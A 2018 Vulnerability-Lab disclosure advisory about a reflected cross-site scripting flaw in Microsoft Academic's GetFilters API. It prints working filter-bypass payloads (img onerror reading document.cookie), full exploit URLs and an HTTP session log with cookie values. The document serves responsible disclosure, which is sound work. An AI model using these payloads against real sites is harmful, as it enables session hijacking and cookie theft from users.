Document Title: =============== Acadmic Microsoft - API Query Filter Cross Site Scripting Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2056 MSRC ID: 0001010174 Release Date: ============= 2018-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 2056 Common Vulnerability Scoring System: ==================================== 3.2 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Microsoft Academic is a free public search engine for academic publications and literature, developed by Microsoft Research. Re-launched in 2016, the tool features an entirely new data structure and search engine using semantic search technologies and it currently indexes over 150 million entities. The Academic Knowledge API offers information retrieval from the underlying database using REST endpoints for advanced research purposes. (Copy of the Homepage: https://en.wikipedia.org/wiki/Microsoft_Academic ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a client-side vulnerability in the official Microsoft Academic online service web-application. Vulnerability Disclosure Timeline: ================================== 2017-04-09: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2017-04-10: Vendor Notification (Microsoft Security Response Center Team) 2017-04-11: Vendor Response/Feedback (Microsoft Security Response Center Team) 2018-**-**: Security Acknowledgements (Microsoft Security Response Center Team) - Unresponsive ??! 2018-**-**: Vendor Fix/Patch (Microsoft Service Developer Team) - Unresponsive ??! 2018-01-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Microsoft Corporation Product: Academic - Online Service (Web-Application) 2017 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A client-side cross site scripting vulnerability has been discovered in the official Microsoft Academic online service web-application. The vulnerability typ allows remote attackers to inject own malicious script code to client-side browser to application web requests. The cross site scripting vulnerability is located in the api of the web-application. Remote attackers are able to exploit via vulnerable `api/search/Getfilters` to byoass the current xss restriction filter. Thus allows the remote attacker to inject and execute client-side cross site scripting payloads. The request method to inject is GET and the attack vector is non-persistent. The security risk of the cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2. Exploitation of the client-side cross site vulnerability requires no privileged web-application user account and only low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious sources and non-persistent manipulation of affected or connected application modules. Request Method(s): [+] GET Vulnerable Module(s): [+] /api/search/Getfilters Vulnerable Parameter(s): [+] query Affected Module(s): [+] Current XSS Filter Protection Proof of Concept (PoC): ======================= The client-side cross site vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: Manual 1. Attackers can bypass the xss filter by using this payload through query api system. "%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.cookie)%3E%40" 2. Attackers can use the current url to execute the prompt dialog with successful response of xss payload execution PoC: Exploitation https://academic.microsoft.com/api/search/GetFilters?query=%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.cookie)%3E%40&correlationId=undefined https://academic.microsoft.com/api/search/GetFilters?query=%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.domain)%3E%40&correlationId=undefined PoC: Vulnerable Source { "message": "No HTTP resource was found that matches the request URI 'https://academic.microsoft.com/api/search/GetFilters?query=%40'><<><iframe src http:%2F%2Fevil.source><%2Fiframe>%40&correlationId=undefined'." } --- PoC Session Logs [GET] --- GET /api/search/GetFilters?query=%40%27%3E%3C%3Ciframe%20src%20http%3A%2F%2Fevil.source%3E%3C%2Fiframe%3E%40&correlationId=undefined HTTP/1.1 Host: academic.microsoft.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Referer: https://academic.microsoft.com/ Cookie: utag_main=v_id:015b543cdafd00b14436aadab8900104400390090086e$_sn:1$_ss:0$_st:1491768750447$ses_id:1491766926079%3B exp-session$_pn:2%3Bexp-session; s_norv=1491766950419-New; s_vnum=1493611200871%26vn%3D1; s_invisit=true; s_dslv=1491766950423; s_dslv_s=First%20Visit; s_ppn=mpdacad%3Aen-us%3Aregister; s_ppvl=mpdacad%253Aen-us%253Alogin%2C100%2C89%2C643%2C1355%2C621%2C1366%2C768%2C1%2CP; s_ppv=mpdacad%253Aen-us%253Aregister%2C100%2C92%2C675%2C1355%2C621%2C1366%2C768%2C1%2CP; s_fid=2DCC642E0324D787-3D30FA055450DC93; s_cc=true; s_sq=msstompdacad%3D%2526c.%2526a.%2526activitymap.%2526page%253Dmpdacad%25253Aen- us%25253Aregister%2526link%253DSign%252520up%252520with%252520Microsoft%252520account%2526region%253Dmain%2526pageIDType%253D1%2526. activitymap%2526.a%2526.c%2526pid%253Dmpdacad%25253Aen-us%25253Aregister%2526pidt%253D1%2526oid%253DSign%252520up%252520with%252520 Microsoft%252520account%2526oidt%253D3%2526ot%253DSUBMIT; AMCV_EA76ADE95776D2EC7F000101%40AdobeOrg= -179204249%7CMCMID%7C28933220378893493633963593270039587370; MSFPC=ID=d9c52c60bfa3454780dd8fed1ee6d500&CS=1&LV=201704&V=1; msacademic=da629bfe-3e6a-4e63-8c85-d684ae83d1d6 Connection: close - Response: HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sun, 09 Apr 2017 12:55:23 GMT Connection: close Content-Length: 230 Reference(s): https://academic.microsoft.com/ https://academic.microsoft.com/api/ https://academic.microsoft.com/api/search/ https://academic.microsoft.com/api/search/GetFilters Solution - Fix & Patch: ======================= 2018-**-**: Security Acknowledgements (Microsoft Security Response Center Team) - Unresponsive Security Risk: ============== The security risk of the non-persistent cross site scripting web vulnerability is estimated as medium. (CVSS 3.2) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Lawrence Amer (http://lawrenceamer.me) Profile: https://www.vulnerability-lab.com/show.php?user=Lawrence Amer Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. 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